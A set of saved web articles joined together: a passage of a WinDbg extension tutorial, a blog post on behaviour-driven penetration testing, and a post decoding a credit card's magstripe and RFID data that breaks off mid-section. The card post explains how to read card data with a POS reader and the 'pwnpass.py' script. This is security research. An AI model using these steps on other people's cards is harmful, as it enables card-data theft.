location and dump all the pointers. I can then do \!dumpstrings esp and dump
the strings to all pointers on the stack.

First, let's start with how you write the extension. WINDBG requires you at
least export two functions. These functions in my source are posted below:

[code]

    /***********************************************************
     * ExtensionApiVersion
     *
     * Purpose: WINDBG will call this function to get the version
     *          of the API
     *
     *  Parameters:
     *     Void
     *
     *  Return Values:
     *     Pointer to a EXT_API_VERSION structure.
     *
     ***********************************************************/              
    LPEXT_API_VERSION WDBGAPI ExtensionApiVersion (void)
    {
        return &g_ExtApiVersion;
    }
    
    
    /***********************************************************
     * WinDbgExtensionDllInit
     *
     * Purpose: WINDBG will call this function to initialize
     *          the API
     *
     *  Parameters:
     *     Pointer to the API functions, Major Version, Minor Version
     *
     *  Return Values:
     *     Nothing
     *
     ***********************************************************/              
    VOID WDBGAPI WinDbgExtensionDllInit (PWINDBG_EXTENSION_APIS 
               lpExtensionApis, USHORT usMajorVersion, 
               USHORT usMinorVersion)
    {
         ExtensionApis = *lpExtensionApis;
    }
[/code]

The first function, `ExtensionApiVersion`, simply returns a version, and all
we do is supply version numbers that WINDBG would expect to make it happy.
Here is the declaration of `g_ExtApiVersion`.

[code]

    /***********************************************************
     * Global Variable Needed For Versioning
     ***********************************************************/              
    EXT_API_VERSION g_ExtApiVersion = {
             5 ,
             5 ,
             EXT_API_VERSION_NUMBER ,
             0
         } ;
[/code]

The `EXT_API_VERSION_NUMBER` is declared in _wdbgexts.h_. Please note that
there are other variations of debugger extension DLLs, such as using
_ntsdexts.h_. I am going over just one simple example that works with the
current CDB and WinDbg debuggers that you can download off of Microsoft's web
site. I am also using _windbgexts.h_ , not _ntsdexts.h_. If you look at your
SDK include files, you will notice you have both headers.

So, how is `EXT_API_VESRION_NUMBER` declared? On my system, it is declared as:

[code]

    #define EXT_API_VERSION_NUMBER   5
    
    typedef struct EXT_API_VERSION {
        USHORT  MajorVersion;
        USHORT  MinorVersion;
        USHORT  Revision;
        USHORT  Reserved;
    } EXT_API_VERSION, *LPEXT_API_VERSION;
[/code]

Where did you come up with 5, 5? I just debugged some of the other extensions
that come with WINDBG to find those numbers. I also found that older WINDBGs
use 3, 5. This is really a moot point though, we just need a basic frame work
written, after which we can simply write all the commands we want\! I'm not
big on making things like this big issues or digging deep into their meaning
when, it's really irrelevant to me as long as my extension loads.

The `WinDbgExtensionDllInit` API simply gives your application a virtual
function table. This table **\*must\*** be named a certain name. Well, it
doesn't **have** to be but it's easier when it is. The reason is that the
_windbgexts.h_ contains macros to make function calls to functions stored in
this structure. If you don't use the same name, you'll have to create the
calls yourself. This is my global in the code:

[code]

    /***********************************************************
     * Global Variable Needed For Functions
     ***********************************************************/              
    WINDBG_EXTENSION_APIS ExtensionApis = {0};
[/code]

It's really no big deal, the macros just make it a little easier, that's all.
You can do whatever you like though. This is the dump of _WINDBGEXTS.H_
macros:

[code]

    #define dprintf          (ExtensionApis.lpOutputRoutine)
    #define GetExpression    (ExtensionApis.lpGetExpressionRoutine)
    #define GetSymbol        (ExtensionApis.lpGetSymbolRoutine)
    #define Disassm          (ExtensionApis.lpDisasmRoutine)
    #define CheckControlC    (ExtensionApis.lpCheckControlCRoutine)
    #define ReadMemory       (ExtensionApis.lpReadProcessMemoryRoutine)
    #define WriteMemory      (ExtensionApis.lpWriteProcessMemoryRoutine)
    #define GetContext       (ExtensionApis.lpGetThreadContextRoutine)
    #define SetContext       (ExtensionApis.lpSetThreadContextRoutine)
    #define Ioctl            (ExtensionApis.lpIoctlRoutine)
    #define StackTrace       (ExtensionApis.lpStackTraceRoutine)
[/code]

What's next? Aside from these two APIs, you can have a `CheckVersion()`
function to force your extension to only use commands on certain versions of
WINDBG. I found this completely useless and didn't implement it as it's not
required. So, let's just write a function\!

The first function will be simple. We'll do "\!help" which will dump the help.

[code]

    /***********************************************************
     * !help
     *
     * Purpose: WINDBG will call this API when the user types !help
     *          
     *
     *  Parameters:
     *     N/A
     *
     *  Return Values:
     *     N/A
     *
     ***********************************************************/
    DECLARE_API (help)
    {
        dprintf("Toby's Debug Extensions\n\n");
        dprintf("!dumpstrings <ADDRESS register> - Dumps 20 strings in"\
           "ANSI/UNICODE using this address as a pointer to strings (useful for" \
           "dumping strings on the stack) \n");
           /* String Split so it is readable in this article. */
    }
[/code]

`dprintf();` is basically, "debug `printf`" and it's exactly like `printf()`\!
It will print output to the debugger. The `DECLARE_API(<command>)` is a simple
way to declare the API name. Remember, the name you give the function is the
name you use in the debugger. I called this help, so to use it, it's \!help or
\!<dllname>.help. This is a simple function that will simply display a help
message to the user.

The next thing we want to do is implement our string function. This function
will take a parameter which will be a memory address. I also want it to work
like current commands, if you do _dc <address>_ then _dc_ again, it will
continue where it left off dumping the memory. So, let's see what I've come up
with.

[code]

    /***********************************************************
     * !dumpstrings
     *
     * Purpose: WINDBG will call this API when the user types !dumpstrings
     *          
     *
     *  Parameters:
     *     !dumpstrings or !dumpstrings <ADDRESS register>
     *
     *  Return Values:
     *     N/A
     *
     ***********************************************************/
    DECLARE_API (dumpstrings)
    {
        static ULONG Address = 0;
        ULONG  GetAddress, StringAddress, Index = 0, Bytes;
        WCHAR MyString[51] = {0};
        
        
        GetAddress = GetExpression(args);
    
        if(GetAddress != 0)
        {
            Address = GetAddress;
        }
            
        dprintf("STACK   ADDR   STRING \n");
    
        for(Index = 0; Index < 4*20; Index+=4)
        {
            memset(MyString, 0, sizeof(MyString));
            
            Bytes = 0;
    
            ReadMemory(Address + Index, &StringAddress, 
                               sizeof(StringAddress), &Bytes);
    
            if(Bytes)
            {
               Bytes = 0;
    
               ReadMemory(StringAddress, MyString, 
                     sizeof(MyString) - 2, &Bytes);
    
               if(Bytes)
               {
                  dprintf("%08x : %08x = (UNICODE) \"%ws\"\n", 
                           Address + Index, StringAddress, MyString);
                  dprintf("%08x : %08x = (ANSI)    \"%s\"\n", 
                           Address + Index, StringAddress, MyString);
               }
               else
               {
                  dprintf("%08x : %08x =  Address Not Valid\n", 
                                 Address + Index, StringAddress);
               }
            }
            else
            {
               dprintf("%08x : Address Not Valid\n", Address + Index);
            }
        }
    
        Address += Index;
    }
[/code]

So, the first function I use is `GetExpression()`. On the newer WINDBGs, it
works like this. `ADDRESS GetExpression(SYMBOLIC STRING)`. You pass in a
symbolic string, such as the arguments to the command and it attempts to
resolve it to an address. The arguments to the command are stored in `args`,
so I pass in `args`. This will resolve symbols, addresses or even registers to
numbers as would be with the case of passing in `ESP`.

I now have a static variable. If `GetExpression()` returned 0, it's possible
there are no arguments. If this is the case, I use `Address`, my static
variable. This works if someone does \!dumpstrings. It will continue where it
left off. At the end of the function, I always save `Address` as being the
next location to dump.

The next function I use is `dprintf()` which works just like using `printf`.
I've explained this one already, so onto the next tidbit. Addresses are 4
bytes long, so I will increment this address by 4 each time around in the
loop. I want to dump 20 addresses, so I loop from 0 to 4\*20. Very simple
indeed.

Now, you cannot simply reference the memory returned as you are not in the
process space of the application. So, WINDBG provides functions to do this
such as `ReadMemory()`. \(The _windbgexts.h_ provides prototypes for all the
APIs, so you can experiment if you cannot find the API online.\) The
`ReadMemory()` function takes 4 arguments:

[code]

    ReadMemory(Address In Process To Read,
               Local Variable to store the memory read, 
               size of the local variable, 
               pointer to a DWORD that returns the number 
               of bytes read from the memory location);
[/code]

So, we pass in our pointer to the memory in the application, a pointer to
place the data on return, then receive the number of bytes. If no bytes are
returned, we print an invalid memory address; if the bytes are returned, we
then reference this memory location to read up to 49 bytes \(we have 51 and
put two `NULL`s at the end for Unicode support\). If I was able to read
anything, I then attempt to display it using the `dprintf()` function in ANSI
then in UNICODE. If the memory returns 0 bytes, I print an error specifying
it's not a valid address. This is all very simple.

The next thing we need to do is create our _.DEF_ file. This file will simply
export our functions.

[code]

    LIBRARY "TDBG.DLL"
    
    EXPORTS
        WinDbgExtensionDllInit
        ExtensionApiVersion
        dumpstrings
        help
[/code]

Now, we need to build it. I like using _make_ files and I use Visual Slickedit
as my editor. I don't use the VC++ IDE at all. So, in the project, I've
created a _make_ file. This is how you would set it up. First, run
_VCVARS32.BAT_ which is located in the _BIN_ directory of your VC++
installation. I moved mine to _C:\_ for easier use. The next thing to do is
simply type "nmake" in the directory that the source code was extracted to.

[code]

    C:\Programming\Programs\debugext\src\debug>\vcvars32
    Setting environment for using Microsoft Visual C++ tools.
    C:\Programming\Programs\debugext\src\debug>nmake
    
    Microsoft (R) Program Maintenance Utility   Version 6.00.8168.0
    Copyright (C) Microsoft Corp 1988-1998. All rights reserved.
    
            cl /nologo /MD /W3 /Oxs /Zi  /I ".\inc"  /D "WIN32" /DLL /D "_WINDOWS"
    /Fr.\obj\i386\\ /Fo.\obj\i386\\ /Fd.\obj\i386\\ /c .\tdbg.c
    tdbg.c
    C:\PROGRA~1\MICROS~2\VC98\INCLUDE\wdbgexts.h(526) : warning C4101: 'li' : unrefe
    renced local variable
            link.exe /DLL /nologo /def:tdbg.def /out:..\..\bin\tdbg.dll  /pdb:tdbg.p
    db /debug /debugtype:both USER32.LIB  KERNEL32.LIB .\obj\i386\tdbg.obj
       Creating library ..\..\bin\tdbg.lib and object ..\..\bin\tdbg.exp
            rebase.exe -b 0x00100000 -x ..\..\bin -a ..\..\bin\tdbg.dll
    
    REBASE: Total Size of mapping 0x00010000
    REBASE: Range 0x00100000 -0x00110000
    
    C:\Programming\Programs\debugext\src\debug>nmake clean
    
    Microsoft (R) Program Maintenance Utility   Version 6.00.8168.0
    Copyright (C) Microsoft Corp 1988-1998. All rights reserved.
    
    Deleted file - C:\Programming\Programs\debugext\src\debug\obj\i386\tdbg.obj
    Deleted file - C:\Programming\Programs\debugext\src\debug\obj\i386\tdbg.sbr
    Deleted file - C:\Programming\Programs\debugext\src\debug\obj\i386\vc60.pdb
    
    C:\Programming\Programs\debugext\src\debug>
[/code]

If you want to build again, you'd need to either change the source so the date
is updated or type "nmake clean" to rebuild. You should now have a binary.

[code]

     Volume in drive C has no label.
     Volume Serial Number is 2CF8-F7B5
    
     Directory of C:\Programming\Programs\debugext\bin
    
    03/25/2004  08:56 PM    <DIR>          .
    03/25/2004  08:56 PM    <DIR>          ..
    03/25/2004  09:53 PM             2,412 tdbg.dbg
    03/25/2004  09:53 PM            20,752 **tdbg.dll**
    03/25/2004  09:53 PM             1,044 tdbg.exp
    03/25/2004  09:53 PM             2,538 tdbg.lib
    03/25/2004  09:53 PM            82,944 tdbg.pdb
                   5 File(s)        109,690 bytes
                   2 Dir(s)  12,229,009,408 bytes free
[/code]

Simply copy this binary to a location that can be found by your WinDbg, such
as your _windows_ directory. You can specify the path to load these extensions
using \!load and \!unload \(to unload the extension if you built a new
version/ want to force the debugger to unload it so you can reload the next
one\). You can use \!<dll name>.<function name> or just \!<function name>. The
mentioning of the binary name will force WINDBG to look for it to load it. It
can also help to distinguish between which DLL to use for a command if
multiple DLL extensions export it.

## Let's Try It Out

Now that we have created our debug extension, I move it to a location where
WINDBG can load it \(such as my _windows_ directory\). I then use
"\!tdbg.dumpstrings esp" to dump all the strings on the stack. This is the
same application \(restarted so addresses may change\) restarted \(I verified
with _dc esp_ , I get the same strings on the stack as before\). I now want to
dump all the pointers to strings on the stack. Let's try this and see what
happens\!

[code]

    0:000> !tdbg.dumpstrings esp
    STACK   ADDR   STRING
    0006febc : 77d43a09 = (UNICODE) ""
    0006febc : 77d43a09 = (ANSI)    "&#9516;&#9658;"
    0006fec0 : 77d43c7d = (UNICODE) ""
    0006fec0 : 77d43c7d = (ANSI)    "�N&#9830;�&#8729;&#9787;&#9786;"
    0006fec4 : 0006fefc = (UNICODE) ""
    0006fec4 : 0006fefc = (ANSI)    "&#9616;&#9829;&#8596;"
    0006fec8 : 00000000 =  Address Not Valid
    0006fecc : 00000000 =  Address Not Valid
    0006fed0 : 00000000 =  Address Not Valid
    0006fed4 : 00000000 =  Address Not Valid
    0006fed8 : 0006ff1c = (UNICODE) ""
    0006fed8 : 0006ff1c = (ANSI)    "&#9492; &#9824;"
    0006fedc : 010028e4 = (UNICODE) ""
    0006fedc : 010028e4 = (ANSI)    "�&#9492;u�&#934;&#9500;&#8745;   5�"
    0006fee0 : 0006fefc = (UNICODE) ""
    0006fee0 : 0006fefc = (ANSI)    "&#9616;&#9829;&#8596;"
    0006fee4 : 00000000 =  Address Not Valid
    0006fee8 : 00000000 =  Address Not Valid
    0006feec : 00000000 =  Address Not Valid
    0006fef0 : 00000000 =  Address Not Valid
    0006fef4 : 77e7ad86 = (UNICODE) ""
    0006fef4 : 77e7ad86 = (ANSI)    "�|$&#9830;"
    0006fef8 : 00091ee8 = (UNICODE) ""
    0006fef8 : 00091ee8 = (ANSI)    ""
    0006fefc : 001d03de = (UNICODE) ""
    0006fefc : 001d03de = (ANSI)    ""
    0006ff00 : 00000118 =  Address Not Valid
    0006ff04 : 0000ffff =  Address Not Valid
    0006ff08 : bf8a75ed =  Address Not Valid
    0:000> !tdbg.dumpstrings
    STACK   ADDR   STRING
    0006ff0c : 077d5cc8 =  Address Not Valid
    0006ff10 : 000001f3 =  Address Not Valid
    0006ff14 : 000001df =  Address Not Valid
    0006ff18 : 00000000 =  Address Not Valid
    0006ff1c : 0006ffc0 = (UNICODE) ""
    0006ff1c : 0006ffc0 = (ANSI)    "&#8801; &#9824;"
    0006ff20 : 01006c54 = (UNICODE) ""
    0006ff20 : 01006c54 = (ANSI)    "�&#8801;�u�9]&#931;uV �&#9604;&#8597;"
    0006ff24 : 01000000 = (UNICODE) ""
    0006ff24 : 01000000 = (ANSI)    "MZ�"
    0006ff28 : 00000000 =  Address Not Valid
    0006ff2c : 00091ee8 = (UNICODE) ""
    0006ff2c : 00091ee8 = (ANSI)    ""
    0006ff30 : 0000000a =  Address Not Valid
    0006ff34 : 00000000 =  Address Not Valid
    0006ff38 : 00000000 =  Address Not Valid
    0006ff3c : 7ffdf000 = (UNICODE) ""
    0006ff3c : 7ffdf000 = (ANSI)    ""
    0006ff40 : 80543940 =  Address Not Valid
    0006ff44 : f4910c5c =  Address Not Valid
    0006ff48 : 00000044 =  Address Not Valid
    0006ff4c : 00092b30 = (UNICODE) ""
    0006ff4c : 00092b30 = (ANSI)    ""
    0006ff50 : 00092b50 = (UNICODE) ""
    **0006ff50 : 00092b50 = (ANSI) "WinSta0\Default"**
    0006ff54 : 00092b78 = (UNICODE) ""
    **0006ff54 : 00092b78 = (ANSI) "C:\WINDOWS.0\System32\notepad.exe"**
    0006ff58 : 00000000 =  Address Not Valid
    0:000> !tdbg.dumpstrings
    STACK   ADDR   STRING
    0006ff5c : 00000000 =  Address Not Valid
    0006ff60 : 00000000 =  Address Not Valid
    0006ff64 : 00000000 =  Address Not Valid
    0006ff68 : 00000000 =  Address Not Valid
    0006ff6c : 00000000 =  Address Not Valid
    0006ff70 : 00000000 =  Address Not Valid
    0006ff74 : 00000000 =  Address Not Valid
    0006ff78 : 00000000 =  Address Not Valid
    0006ff7c : 00000000 =  Address Not Valid
    0006ff80 : ffffffff =  Address Not Valid
    0006ff84 : ffffffff =  Address Not Valid
    0006ff88 : ffffffff =  Address Not Valid
    0006ff8c : 00091ee8 = (UNICODE) ""
    0006ff8c : 00091ee8 = (ANSI)    ""
    0006ff90 : 00000000 =  Address Not Valid
    0006ff94 : 00000001 =  Address Not Valid
    0006ff98 : 00272620 = (UNICODE) ""
    0006ff98 : 00272620 = (ANSI)    "(&'"
    0006ff9c : 00272d00 = (UNICODE) ""
    0006ff9c : 00272d00 = (ANSI)    "&#9617;-'"
    0006ffa0 : 00000000 =  Address Not Valid
    0006ffa4 : 00000000 =  Address Not Valid
    0006ffa8 : 0006ff34 = (UNICODE) ""
    0006ffa8 : 0006ff34 = (ANSI)    ""
[/code]

We found two strings on the stack. Not bad and all I did was start Notepad. I
didn't do anything else. This is a simple example of how this API could be
used. Take a memory location and dump out all the pointers to strings. You are
always going to get garbage and invalid address dumped on the stack \(or any
memory location for that matter\). It's the valid addresses that contain
strings that we are looking for.

## Conclusion

I hope you enjoyed learning how to write a debug extension and hopefully even
find the example useful\! There are other APIs listed which you can look up or
perhaps another tutorial can explain them in the future. The basics of reading
memory and displaying information were covered. Hopefully, in the future, we
can explore more advanced debugging commands.

## License

This article has no explicit license attached to it but may contain usage
terms in the article text or the download files themselves. If in doubt please
contact the author via the discussion board below.

A list of licenses authors might use can be found here

## About the Author

**Toby Opferman**  
  
<img src='img/Temp2_2024.gif' /> Engineer  
Intel  
<img src='img/Temp2_2023.gif' width='16px' height='11px' alt='United States'
/> United States  
  
Member  
|  Toby Opferman has worked in just about all aspects of Windows development
including applications, services and drivers.  
  
He has also played a variety of roles professionally on a wide range of
projects. This has included pure researching roles, architect roles and
developer roles. He also was also solely responsible for debugging traps and
blue screens for a number of years.  
  
Previously of Citrix Systems he is very experienced in the area of Terminal
Services. He currently works on Operating Systems and low level architecture
at Intel.  
---|---

# Behavior-Driven Penetration Testing – neXenio – Medium

**Created:**| _3/2/2019 6:04:56 PM_  
---|---  
**Updated:**| _3/2/2019 6:04:56 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Behavior-Driven Penetration Testing

<img src='img/1*wpW2NoBoyWRd7o3lGowykA.png' width='50' height='50' alt='Go to
the profile of hrantzsch' />

hrantzsch

Jan 21·7 min read

**“Hey, what happens if I put someone else’s user ID here?”** —**** a similar
thought has likely come to many software developers during their everyday
routine. In this situation a developer has two options: either they continue
the task they are currently working on and probably forget about the question
they had in mind, or they go out of their way to check if their intuition is
correct. Obviously, we want the developer to check. If their suspicion is
correct the server might just grant unauthorized access to a resource, which
means we are looking at a severe security flaw.

The scenario above exemplifies why it is important to make it as easy as
possible to test if a suspected security issue is present. At neXenio, we
adapted the Behavior-Driven Development \(BDD\) approach in order to conceive
penetration tests and execute them on our software. The setup we created
allows us to build penetration tests very quickly and integrates well with the
rest of our testing infrastructure. Here’s what it looks like in action:

<img src='img/Temp2_1006.png' width='75' height='33' /><img
src='img/1*Y8oQaNTX1CmVT49qYqqk5A.gif' width='700' height='316' />

In this article we want to present the infrastructure we built. We will detail
the requirements we had, our design decisions arising from them, and discuss
the system we implemented.

### Requirements to a Penetration Testing Infrastructure

In order to explain how we arrived at the system we implemented we must
briefly consider our environment at neXenio: The software we want to
penetration test is a classic client-server application based on a REST
architecture. It has, however, high demands regarding security. We employ end-
to-end encryption and a zero-knowledge principle in order to ensure the client
does not have to trust the server. But we don’t want our server to blindly
trust the client either.

Organizationally, we adhere to an agile process and methodology. Our project
is not driven by developers alone, but involves many other roles, such as
product owners, designers, and QA. These personas should also meet a low
barrier when they come up with an idea for a potential attack vector.

We illustrated in the beginning why it is important that a software developer
can quickly check if a suspected security issue is present in the system.
While this could be facilitated with a simple collection of Postman scripts,
the requirements above motivated us to take it a few steps further than that.
On a technical level, penetration testing infrastructure we build should act
like a malicious client in order to verify that it cannot do any harm. It
should be employed to test the entire system and the interplay of the
components it is made of. Moreover, it must be integrated in our CI
infrastructure: We should be able to quickly create a test case that serves as
an automated and reproducible indicator for security issues. The test case
should run quickly and often, and should instantly show the result in “**all
tests passed** ”-green or “**uhh, there’s an issue** ”-red.

### BDD with Python Behave

With the requirements specified in the previous section we have already
established that we want to write tests in the sense of unit and integration
tests. They will give us reproducible results that integrate well with our CI,
which can automatically trigger them and display the results. Consequently, it
only makes sense to base our penetration testing infrastructure on an existing
testing framework.

Considering the non-technical requirement that not only developers should be
enabled to specify test cases, Behavior-Driven Development is the perfect fit.
BDD relies on test cases specified in natural language, based on the Gherkin
syntax. This allows describing test cases without requiring knowledge in
either the programming language we use or the tooling we create.

We found the Python framework Behave to suit our needs best. The Python
programming language is a great language for scripting and many developers at
neXenio are familiar with it. Furthermore, Python offers the excellent
requests library. This is very handy: given the task to simulate a malicious
client, one of the framework’s main responsibilities will be to forge and
submit REST requests.

### Behavior-Driven Penetration Testing

In this section we want to show you how we use Behave to address our
individual requirements to a penetration testing infrastructure. Starting at
the top, the business description of a \(simplified, imaginary\) flaw looks
something like this in Gherkin syntax:

1 | Feature: Personal Profile Access  
---|---  
2 |  Verify the authentication system for user profiles.  
3 |  @critical @NEXAMPLE-1234 @fixed  
4 |  Scenario: Profiles of other users are not accessible  
5 |  Given "Alice" is a registered user  
6 |  And "Bob" is a registered user  
7 |  When "Alice" is logged in  
8 |  Then "Alice" cannot access the profile of "Bob"  
view raw authentication.feature hosted with ❤ by GitHub

This description does not differ from any BDD scenario specification as it
would used in integration testing. Of course, instead of only `"Alice" cannot
access the profile of "Bob”` we would also want to test `"Alice" can access
the profile of "Alice"` . However, compared to implementing this check
directly as a part of our back-end's test infrastructure, developers need much
less background knowledge about the internals of the back-end. The back-end
can largely be treated as a black box and the tester can concentrate on
playing the evil client. In our specific case at neXenio this helped a lot to
encourage and facilitate our front-end developers to specify scenarios and
implement the _steps_.

Speaking of which, as usual in BDD frameworks, Behave expects _steps_
descriptions underpinning the _scenario_ description above. For example, the
final check in the scenario shown above could be implemented similar to this:

1 | @then\('"\{user\_name\}" cannot access the profile of "\{other\_user\_name\}"'\)  
---|---  
2 | def access\_profile\(user\_name, other\_user\_name\):  
3 |  current\_user = users\[user\_name\] \# will be Alice in our example  
4 |  other\_user = users\[other\_user\_name\] \# Bob  
5 |  assert not current\_user.can\_access\_profile\_of\(other\_user\)  
view raw authentication.py hosted with ❤ by GitHub

The implementation of accessing a user profile can be nicely encapsulated in
the user class.

Maybe you noticed the `users` dictionary that appears somewhat magically in
the snippet above. Admittedly, the code is simplified a little bit for
readability, but it is a good example how the BDD approach helps us to
implement test cases more quickly. Behave allows us to specify _fixtures_ to
run before and after scenarios. We use them to automate test setup and tear-
down tasks. Before each scenario, for example, user objects are created and
placed in the `users` dictionary. Similar to the step spelled out above, the
`[...] is a registered user` -steps will reach into this dictionary for the
appropriate user object and make sure the user is registered. After each
scenario, users and other artifacts of our tests are removed again so the
system is left in a clean state. As a result, the code for test setup and
tear-down can easily, almost implicitly, be reused.

The last piece left to explain from the scenario description are the
`@critical` , `@fixed` and `@NEXAMPLE-1234` _tags_. Above all, these tags
allow us to control test execution, running specific tests we are interested
in and excluding others. For example we could only check for security issues
classified as "critical", or run regression tests on issues that are already
"fixed". In addition, we use this mechanism to link test cases to bug reports
in our issue tracking system, in case the test turned out to reveal an actual
issue.

### Discussion Of Our Experiences

To get our new system up to speed, we created a dedicated team to implement
the infrastructure in a hands-on matter. We figured the best way to implement
the system would be to go full BDD: The “Pentesting Team” would come up with a
test scenario, implement the steps required as well as the infrastructure to
support it, come up with another test, and iterate. This approach worked very
well and even during the initial phase of building the system we were able to
detect flaws, as developers were now given the opportunity to try attack
vectors they already had in mind for a while.

As for the question who specifies the scenarios, we have not yet encouraged
our product owners to participate in creating scenarios quite as much as we
hoped. Most of the scenarios were specified by the same team who then
implemented the underlying steps. However, decoupling the penetration testing
infrastructure from the back-end’s integration test infrastructure allows a
very diverse mix of developers to participate. The “Pentesting Team” is very
popular and in a cycle of roughly two weeks new pentesters join \(or leave\).
Developers across all components \(back-end, front-end, desktop client\)
already got their hands dirty on the tool.

Thanks to this diverse mix we also discovered that the tooling can easily be
adjusted for other use cases. The scriptable client we created is not only
employed to try to be malicious, but also to simulate regular user activity on
our staging environments for load tests.

A disadvantage of our approach is that it creates some code duplication
between the “real” client and the penetration testing tool. Although the
malicious client tries to do many things the real client obviously should
never do and the real client has a lot of state and logic that are not needed
for penetration testing, some functionality \(such as the login flow\) are
duplicated. We hope to address this in the future at least to some extend with
automatic code generation. We already generate part of the real client’s
network code based on a swagger description of the API. In the future we might
be able to extend the amount of generated code in order to apply this for the
penetration testing client as well.

### Conclusion

We set out to minimize the time from anyone in the project thinking “What
happens if…” to a flashing red light indicating a security issue. We
discovered that it is important to create tooling that is accessible to wide
range of personas in the project, and that we can integrate the penetration
testing infrastructure with our existing CI infrastructure. Making use of
Behavior-Driven Development we were able to adapt existing tools to suit our
specific needs and found a development process that works very well for us.
This way, we were able to address concrete issues in our software and
encouraged developers with various technological backgrounds to participate in
this endeavor to make the software we produce safer.

  

# Open Security Research: Deconstructing a Credit Card's Data

**Created:**| _10/15/2013 2:02:15 PM_  
---|---  
**Updated:**| _10/15/2013 2:02:15 PM_  
**Author:**| __  
**Tags:**| _eco_  
  

### Deconstructing a Credit Card's Data

By Brad Antoniewicz.  
  
Modern credit cards in the United States have three interfaces:  
  

  1. Physical
  2. MagStripe Data
  3. RFID/NFC Data

  
This obviously varies from bank to bank and card manufacturer to card
manufacturer. The purpose of this post is to evaluate all three interfaces of
the card and see how they differ. Note that some data has been changed to
protect the card holder's \(my\) information.  
  

# Physical Attributes

This interface is probably the most widely known and understood because its
been around the longest and its the easiest to inspect. It's sort of good to
understand the components of this interface because they're present in to the
other interfaces \(but a little different\).  
  
From a physical perspective, your card should have four main attributes:  

  1. Name
  2. Expiration Date
  3. Credit Card Number
  4. Card Verification Value

  
Names and Expiration dates are pretty straightforward and don't need much
explaining.  
  
**Credit Card Number** \- Also known as "Primary Account Number" \(PAN\). The
one thing to point out is that credit card numbers have some unique
properties. For instance, the first number of the card number will vary
depending on the type of card.  
  
Card| Starting Number  
---|---  
Visa| 4  
MasterCard| 5  
Discover| 6  
  
A great article about credit card numbers is "Anatomy of Credit Card Numbers".  
  
Another notable thing about the card number is it is actually created using a
particular algorithm and thus there is a check, called the Luhn 10 check that
verifies that the card number was generated in accordance with this algorithm.
More info can be found here -
http://www.visacemea.com/ac/ais/uploads/ais\_guide\_stepspcicompliant.pdf
\[PDF\]  
  
**Card Verification Value \(CVV2\)** \- Note the version number. This is a
three \(MasterCard, Visa, Discover\) or four \(American Express, called the
"CID"\) code printed on the card to help prevent against fraud. The idea
behind it, is it proves possession of the card and is required when the card
is not present. On American Express cards, this value is printed on the front,
while MasterCard, Visa, and Discover cards have it printed on the back,
usually in the signature box.  
  

# MagStripe Data

  
The magnetic stripe on the back of the card is broken up horizontally into
three "tracks", the tracks often contain duplicate data and most times track 3
doesn't really contain any data.  
  
ISO/IEC 7813 Defines the attributes of this data, and these sites describe the
data available on each track in detail:  

  * http://en.wikipedia.org/wiki/ISO/IEC\_7813
  * http://www.gae.ucm.es/~padilla/extrawork/tracks.html
  * http://www.tech-faq.com/layout-of-data-on-magnetic-stripe-cards.html

To read the data, you'll need a magstripe reader that will support reading all
three tracks. Most magstripe readers emulate a HID \(human input device\), so
its surprisingly easy to read from them - just open a text capturing program
and swipe a card.  
  
The reader I'm using is the  MagTek SureSwipe 21040145.  
  
So lets see what data we'll get from the magstripe:  

[code]

     %B5XXXXXXXXXXXXXX2^ANTONIEWICZ/BRAD^1103101000000001000000003000000?;5XXXXXXXXXXXXXX2=1103101000000300001?  
    
[/code]

  
Lets break down this data:  
  
Track 1 Data  
---  
Track Data| Value  
%| Start  
B| Format Code \(B=Bank\)  
5XXXXXXXXXXXXXX2| Primary Account Number \(PAN\)  
^| Separator  
ANTONIEWICZ| Last Name  
/| Name Separator  
BRAD| First Name  
^| Separator  
11| Expiration Year  
03| Expiration Month  
101| Service Code  
000000001000000003000000| Discretionary Data  
?| End  
Track 2 Data  
;| Start Track 2 Data  
5XXXXXXXXXXXXXX2| Primary Account Number \(PAN\)  
=| Separator  
11| Expiration Year  
03| Expiration Month  
101| Service Code  
000000300001| Discretionary Data  
?| End  
  
  
So you can see that Track 2 actually contains much data already present in
track 1. You'll also notice that there is a difference in the discretionary
data between track 1 and 2.  
  
But where the heck is that Track 3 data? Well.. it doesn't appear that any
data is written to it, or at least my reader isn't picking it up.  
  

# RFID Interface \(EMV Chip\)

  
In the last couple of years, the RFID Interface has been most talked about.
Something about the idea of an attacker reading your credit card out of your
pocket, seems to bother people :\)  
  
The RFID Interface specifications were designed by a group of representatives
from Europay, MasterCard, and Visa \(EMV\) and is thus often referenced as the
"EMV Chip" or just "EMV". The three things that differentiate this interface
from the others are:  

  1. **Card Holder Name** \- On most cards the cardholder name is not stored within the chip, instead its replaced by something like "VALUED CUSTOMER" or "NOT SUPPLIED"
  2. **Service Code** \- The service code that permits where the card is used \(and for what\) changes on the contactless interface. 
  3. **iCVV or Dynamic CVV** \- Rather then using the same CVV that is stored on the MagStripe, the smartcard capabilities allows for extended functionality, and so the designers created something called a Dynamic CVV. This CVV changes which each read of the card.

The RFID Interface is defined mostly in ISO/IEC 7816 and the EMV
Specifications.  
  

## VivoPay 4500

Probably the easiest way to read the RFID interface of a credit card is to buy
an equipped point of sale \(POS\) reader and connect it up to your computer.
The VivoPay 4500 will handle all of the RFID communication and output the data
on the RFID interface in plaintext over it's serial connection.  
  

### Prolific PL-2303

The Prolific PL-2303 is a USB to Serial adapter which helps when connecting to
the VivoPay's Serial output. If you want to make this all work on Mac OS X
10.7.3 \(like i am\) you have to do a little bit of work:  
  
First download the 64-bit open source PL2303 driver:  
http://sourceforge.net/tracker/download.php?group\_id=157692&atid=804837&file\_id=363913&aid=2952982  
  
Then decompress and install:  

[code]

     unzip osx-pl2303.kext.zip  
     sudo cp -R osx-pl2303.kext /System/Library/Extensions/  
     cd /System/Library/Extensions/  
     sudo kextload osx-pl2303.kext  
    
[/code]

  
Insert your USB adapter then check to make sure the driver created a device
interface \(your interface might be named differently\):  

[code]

     system:Extensions user$ ls /dev/tty.PL*  
     /dev/tty.PL2303-000013FA  
    
[/code]

  

### pwnpass.py

  
pwnpass.py is a python script created by Eric Johnson \(and others\) which
allows you to interact with VivoPay Devices. To use it, you may have to first
install py-serial to get it running. I'm using mac ports to manage all of the
python packages.  

[code]

     sudo port install python26 py26-serial
    
[/code]

  
Next edit line 103 of pwnpass.py so that your device is appropriately defined.
The default timeout for the open source driver is 1 second, I've changed it to
0.3 which seems to work better.  

[code]

    return serial.Serial('/dev/tty.PL2303-000011FD', 19200, timeout=0.3)
    
[/code]

  
So if we run it on the same card we used before, we see the following raw
data:  

[code]

